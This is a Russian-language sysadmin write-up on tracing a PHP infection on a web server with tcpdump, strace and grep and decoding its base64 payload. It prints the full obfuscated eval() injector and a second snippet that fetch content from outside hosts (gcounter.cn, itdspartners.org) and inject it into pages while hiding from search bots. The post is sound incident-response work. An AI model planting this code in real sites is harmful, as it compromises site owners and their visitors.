tcpdump -n src host 19.169.88.18 and dst port 80
смотрим процесс, который это делает
lsof -i | grep 77.72.133.152
php 20137 generation 4u IPv4 4057556730 0t0 TCP node.generationua.com:56272->77.72.133.152:http (SYN_SENT)
php 20139 generation 4u IPv4 4057558719 0t0 TCP node.generationua.com:56373->77.72.133.152:http (SYN_SENT)
так можно посмотреть какая команда выполняется
cat /proc/20137/cmdline
можно также так
ps aux | grep php
generation 20170 6.3 4.3 165940 16436 ? S 10:56 0:00 /usr/bin/php-cgi php
generation 20172 6.6 4.4 165888 16732 ? S 10:56 0:00 /usr/bin/php-cgi php
а данная команда покажет даже родительский процесс
ps auxf
apache 19876 0.0 2.6 303452 10040 ? S 10:41 0:00 \_ /usr/sbin/httpd
generation 20257 1.1 4.3 165924 16568 ? S 11:00 0:00 | \_ /usr/bin/php-cgi php
apache 20132 0.0 2.6 303452 10032 ? S 10:53 0:00 \_ /usr/sbin/httpd
generation 20254 0.4 4.6 166672 17456 ? S 11:00 0:00 | \_ /usr/bin/php-cgi php
apache 20182 0.0 2.6 303452 9988 ? S 10:56 0:00 \_ /usr/sbin/httpd
generation 20252 0.3 4.4 166152 16856 ? S 11:00 0:00 \_ /usr/bin/php-cgi php
Переустановка апача не помогла, по подсказке мудрого другана поменял строку tcpdump
tcpdump -nN -A -s 0 src host 19.169.88.18 and dst port 80
где
-s 0 - захватывает весь пакет а не 64 байта
-A - печатать данные из пакетов в ANSI (-x hex)
-N - не печатать доменную часть имени
E..H.d@.@.......MH...k.P.2...F..P...J...GET /lnk.php?c=utf&s= HTTP/1.0
08:55:30.694531 IP 19.169.88.18.45931 > 77.72.133.152.http: P 32:58(26) ack 1 win 5840
....MH...k.P.2...F..P...3...Host: itdspartners.org
а также
08:59:24.018846 IP 19.169.88.18.33997 > 92.241.161.54.http: P 0:100(100) ack 1 win 46
E...*>@.@.......\..6...Pz...n6pj...........
.Z...9..GET http://gcounter.cn/info.php?i=19.169.88.18 HTTP/1.0
то есть запросы вируса выглядят
http://gcounter.cn/info.php?i=
itdspartners.org/lnk.php?c=utf&s=
выполнил поиск по коду
find ./ -type f -exec grep -nH -i gcounter.cn {} \;
где
-n - печатает строку в файле где найден код
-H - печатает имя файла
ничего не нашло, попробовал по совету другана такие запросы
find ./ -type f -exec grep -nH -i info.php?i= {} \;
find ./ -type f -exec grep -nH -i file_get_contents\ \(\'http\:\/\/ {} \;
find ./ -type f -exec grep -nH -i gcounter.cn {} \;
find ./ -type f -exec grep -nH -i file_get_contents {} \; | grep http
нифига не нашло, попробовал
strace -ff -tt -p 16344 -o 1.txt
grep -i 92.241.161.54 *
1.txt.17979:15:19:44.639154 connect(3, {sa_family=AF_INET, sin_port=htons(80), sin_addr=inet_addr("92.241.161.54")}, 16) = -1 EINPROGRESS (Operation now in progress)
less 1.txt.17979
перед строкой
15:19:44.639154 connect(3, {sa_family=AF_INET, sin_port=htons(80), sin_addr=inet_addr("92.241.161.54")}, 16) = -1 EINPROGRESS (Operation now in progress)
читался файл
15:19:44.628456 open("/var/www/generationua.com/shop/quantityorder_max.inc.php", O_RDONLY) = 3
в нем есть часть
$cjyeimkm = base64_decode("aWY.....X0=");
function wbbehkjtmnq()
{
$orb = "ipj";
$qsodot = "ykt";
$ddlaff = "rsir";
$adj = "evyew";
$qtvu = "wyg";
}
eval($cjyeimkm);
расшифровал base64_decode так
perl -MMIME::Base64 -e 'print decode_base64("aWY.....X0=");'
получилось тело вируса а в нем так же была еще одна зашифрованная часть
}$vrnan_yur=qqtk_vabc(base64_decode("aHR0cDovL2djb3VudGVyLmNuL2luZm8ucGhw")
после
perl -MMIME::Base64 -e 'print decode_base64("aHR0cDovL2djb3VudGVyLmNuL2luZm8ucGhw");'
http://gcounter.cn/info.php
мы наконец получили gcounter.cn за которым так долго охотились
код вируса
$cjyeimkm = base64_decode("aWYoZnVuY3Rpb25fZXhpc3RzKCJvYl9zdGFydCIpICYmICFmdW5jdGlvbl9leGlzdHMoInBuanpra195d2liaiIpICYmICFmdW5jdGlvbl9leGlzdHMoInp6aW9fcWV3cGciKSAmJiAhZnVuY3Rpb25fZXhpc3RzKCJxcXRrX3ZhYmMiKSAmJiAhaXNzZXQoJEdMT0JBTFNbImVlZCJdKSAmJiBAc3RycG9zKHN0cnRvbG93ZXIoJF9TRVJWRVJbIkhUVFBfVVNFUl9BR0VOVCJdKSwiZ29vZ2xlYm90IikgPT09IGZhbHNlICYmIEBzdHJwb3Moc3RydG9sb3dlcigkX1NFUlZFUlsiSFRUUF9VU0VSX0FHRU5UIl0pLCJtc25ib3QiKSA9PT0gZmFsc2UgJiYgQHN0cnBvcyhzdHJ0b2xvd2VyKCRfU0VSVkVSWyJIVFRQX1VTRVJfQUdFTlQiXSksInlhaG9vIikgPT09IGZhbHNlICYmICFpc3NldCgkX0NPT0tJRVsiY29va2llX3Rlc3QiXSkgKXskR0xPQkFMU1siZWVkIl0gPSAxO3NldGNvb2tpZSgiY29va2llX3Rlc3QiLCAxLCB0aW1lKCkrMzYwMCoyNCoyLCAiLyIpOyAgICAgICAgICAgIGZ1bmN0aW9uIHp6aW9fcWV3cGcoJGd6ZW5jb2RlX2FyZykKICAgICAgICAgICAgICAgIHsKICAgICAgICAgICAgICAgICAgICAkeCA9IEBvcmQoQHN1YnN0cigkZ3plbmNvZGVfYXJnLCAzLCAxKSk7CiAgICAgICAgICAgICAgICAgICAgJHNoaWZ0ID0gMTA7CiAgICAgICAgICAgICAgICAgICAgJHNoaWZ0MiA9IDA7CiAgICAgICAgICAgICAgICAgICAgaWYoICR4JjQgKQogICAgICAgICAgICAgICAgICAgIHsKICAgICAgICAgICAgICAgICAgICAgICAgJHVucGFjaz1AdW5wYWNrKCJ2Iiwgc3Vic3RyKCRnemVuY29kZV9hcmcsIDEwLCAyKSk7CiAgICAgICAgICAgICAgICAgICAgICAgICR1bnBhY2s9JHVucGFja1sxXTsgJHNoaWZ0Kz0gMiArICR1bnBhY2s7CiAgICAgICAgICAgICAgICAgICAgfQogICAgICAgICAgICAgICAgICAgIGlmKCAkeCY4ICkKICAgICAgICAgICAgICAgICAgICB7CiAgICAgICAgICAgICAgICAgICAgICAgICRzaGlmdCA9IEBzdHJwb3MoJGd6ZW5jb2RlX2FyZywgY2hyKDApLCAkc2hpZnQpICsgMTsKICAgICAgICAgICAgICAgICAgICB9CiAgICAgICAgICAgICAgICAgICAgaWYoICR4JjE2ICkKICAgICAgICAgICAgICAgICAgICB7CiAgICAgICAgICAgICAgICAgICAgICAgICRzaGlmdCA9IEBzdHJwb3MoJGd6ZW5jb2RlX2FyZywgY2hyKDApLCAkc2hpZnQpICsgMTsKICAgICAgICAgICAgICAgICAgICB9CiAgICAgICAgICAgICAgICAgICAgaWYoICR4JjIgKQogICAgICAgICAgICAgICAgICAgIHsKICAgICAgICAgICAgICAgICAgICAgICAgJHNoaWZ0ICs9IDI7CiAgICAgICAgICAgICAgICAgICAgfQogICAgICAgICAgICAgICAgICAgICRnemlwID0gQGd6aW5mbGF0ZShAc3Vic3RyKCRnemVuY29kZV9hcmcsICRzaGlmdCkpOwogICAgICAgICAgICAgICAgICAgIGlmKCRnemlwID09PSBGQUxTRSkKICAgICAgICAgICAgICAgICAgICB7CiAgICAgICAgICAgICAgICAgICAgICAgICRnemlwID0gJGd6ZW5jb2RlX2FyZzsKICAgICAgICAgICAgICAgICAgICB9CiAgICAgICAgICAgICAgICAgICAgcmV0dXJuICRnemlwOwogICAgICAgICAgICAgICAgfQoKICAgIGZ1bmN0aW9uIHFxdGtfdmFiYyggJHVybCApIHsKCi8qICAgICAgaWYgKGZ1bmN0aW9uX2V4aXN0cygiY3VybF9pbml0IikpCiAgICAgICAgewogICAgICAgICAgJGNoID0gY3VybF9pbml0KCR1cmwpOwogICAgICAgICAgICBjdXJsX3NldG9wdCgkY2gsIENVUkxPUFRfUkVUVVJOVFJBTlNGRVIsIDEpOwogICAgICAgICAgICBjdXJsX3NldG9wdCgkY2gsIENVUkxPUFRfVElNRU9VVCwgNSk7CiAgICAgICAgICAgICRjdXJsX3Jlc3VsdCA9IGN1cmxfZXhlYyAoJGNoKTsKICAgICAgICAgICAgY3VybF9jbG9zZSgkY2gpOwogICAgICAgICAgICBpZiAoJGN1cmxfcmVzdWx0KSByZXR1cm4gJGN1cmxfcmVzdWx0OwogICAgICAgIH0KCiAgICAgICAgaWYgKEBpbmlfZ2V0KCJhbGxvd191cmxfZm9wZW4iKSkKICAgICAgICB7CiAgICAgICAgICAgICRmaWxlX3Jlc3VsdCA9IEBmaWxlX2dldF9jb250ZW50cygkdXJsKTsKICAgICAgICAgICAgaWYgKCRmaWxlX3Jlc3VsdCkgcmV0dXJuICRmaWxlX3Jlc3VsdDsKICAgICAgICB9ICAgKi8KCiAgICAgICAgJHVybF9pbmZvID0gcGFyc2VfdXJsKCR1cmwpOwogICAgICAgICRxdWVyeSAgPSAiR0VUICR1cmwgSFRUUC8xLjBcclxuIjsKICAgICAgICAkcXVlcnkgLj0gIkhvc3Q6ICIgLiAkdXJsX2luZm9bImhvc3QiXSAuICJcclxuIjsKICAgICAgICAkcXVlcnkgLj0gIkNvbm5lY3Rpb246IENsb3NlXHJcblxyXG4iOwogICAgICAgICRmcCA9IEBmc29ja29wZW4oJHVybF9pbmZvWyJob3N0Il0sIDgwLCAkZXJybm8sICRlcnJzdHIsIDUpOwogICAgICAgIGlmICghJGZwKSByZXR1cm4gZmFsc2U7CiAgICAgICAgQGZwdXRzKCRmcCwgJHF1ZXJ5KTsKICAgICAgICBAc29ja2V0X3NldF90aW1lb3V0ICgkZnAsIDUsIDApOwogICAgICAgICRzX3JldGNvZGUgPSBAc3Vic3RyIChAZmdldHMgKCRmcCwgNDA5NiksIDksIDMpOwogICAgICAgIGlmICgkc19yZXRjb2RlezB9IDw+ICIyIikge3JldHVybiBGQUxTRTt9CiAgICAgICAgd2hpbGUgKCEgQGZlb2YgKCRmcCkpCiAgICAgICAgewogICAgICAgICAgICBpZiAoIlxyXG4iID09PSBAZmdldHMgKCRmcCwgNDA5NikpIHticmVhazt9CiAgICAgICAgfQogICAgICAgICRzb2NrZXRfcmVzdWx0ID0gIiI7CiAgICAgICAgd2hpbGUgKCEgQGZlb2YgKCRmcCkpIHsKICAgICAgICAgICAgJHNvY2tldF9yZXN1bHQgLj0gQGZnZXRzICgkZnAsIDQwOTYpOwogICAgICAgIH0KICAgICAgICBAZmNsb3NlKCRmcCk7CiAgICAgICAgaWYgKCRzb2NrZXRfcmVzdWx0KSByZXR1cm4gJHNvY2tldF9yZXN1bHQ7CiAgICB9CiAgICBmdW5jdGlvbiBwbmp6a2tfeXdpYmooJGh6cnd3KXtyZXR1cm4gcHJlZ19yZXBsYWNlKCIjKDwvdGFibGU+Lio8dGQ+fDwvdGFibGU+fDwvZGl2PltePD5dKjxkaXZbXjw+XSo+fDwvYm9keT4pI2lzIiwgIiQxIiAuIHZybmFuX3l1ciwgenppb19xZXdwZygkaHpyd3cpLCAxKTsKICAgIH0kdnJuYW5feXVyPXFxdGtfdmFiYyhiYXNlNjRfZGVjb2RlKCJhSFIwY0RvdkwyZGpiM1Z1ZEdWeUxtTnVMMmx1Wm04dWNHaHciKSAuICI/aT0iIC4gJF9TRVJWRVJbIlJFTU9URV9BRERSIl0pO0BwcmVnX21hdGNoKCIjPG9wZW4+KC4qKTwvY2xvc2U+IyIsICR2cm5hbl95dXIsICRtYXRjaGVzKTskdnJuYW5feXVyPSBpc3NldCgkbWF0Y2hlc1sxXSkgPyAkbWF0Y2hlc1sxXSA6ICIiO2lmICgkdnJuYW5feXVyKSB7ZGVmaW5lKCJ2cm5hbl95dXIiLCR2cm5hbl95dXIpOyBvYl9zdGFydCgicG5qemtrX3l3aWJqIik7fX0=");
function wbbehkjtmnq()
{
$orb = "ipj";
$qsodot = "ykt";
$ddlaff = "rsir";
$adj = "evyew";
$qtvu = "wyg";
}
eval($cjyeimkm);
а также
find ./ -type f -exec grep -nH -i itdspartners.org {} \;
./test/index.php:68: $u4ain=@file_get_contents ("http://itdspartners.org/lnk.php?c=utf&s=");
./test/index.php:73: $u4ain=@file_get_contents ("http://itdspartners.org/test.php");
./shop/index.php:68: $u4ain=@file_get_contents ("http://itdspartners.org/lnk.php?c=utf&s=");
./shop/index.php:73: $u4ain=@file_get_contents ("http://itdspartners.org/test.php");
код вируса
if(@$_COOKIE['act']!=1){
$u4ain=@file_get_contents ("http://itdspartners.org/lnk.php?c=utf&s=");
echo $u4ain;
}
if(@$_COOKIE['act']!=1){
if(getenv('HTTP_REFERER')!=""&&!stristr(getenv('HTTP_USER_AGENT'),"bot")&&!stristr(getenv('HTTP_USER_AGENT'),"google")&&!stristr(getenv('HTTP_USER_AGENT'),"yandex")){
$u4ain=@file_get_contents ("http://itdspartners.org/test.php");
echo $u4ain;
}
}
?>
как видите отличные утилиты strace, tcpdump позволяют нам очень быстро найти скрипты вируса и удалить его с сайта. Надеюсь кому-то пригодится. Как видите я по моей неопытности даром переставлял апач нужно было правильно запустить tcpdump c -A ключем и включить трейс и тогда бы скрипты выруса были вычеслены очень быстро. Преимущество данного метода налицо по сравнению с другими статьями в интернете - например
а). не нужно копировать сайт на локальную машину и там искать зараженные файли а потом копировать сайт обратно
б). мы сразу видим зараженный файл
в). даже если вирус использует кодирование это его не спасает от утилиты strace, которая все равно находит зараженные файл.
P.S. вирус был отослан на анализ clamav и kasperkiy 31.04 через их сайты, проверка 04.04 на virustotal.com показала что clamav класифицирует вирус как Trojan.PHP-34 (второй Trojan.PHP-35). Касперский до сих пор как и другие вендоры в базу вирусов данный тип вируса не добавил.
Также можете использовать данный скриптик для поиска шелов у себя на сайте
https://github.com/emposha/PHP-Shell-Detector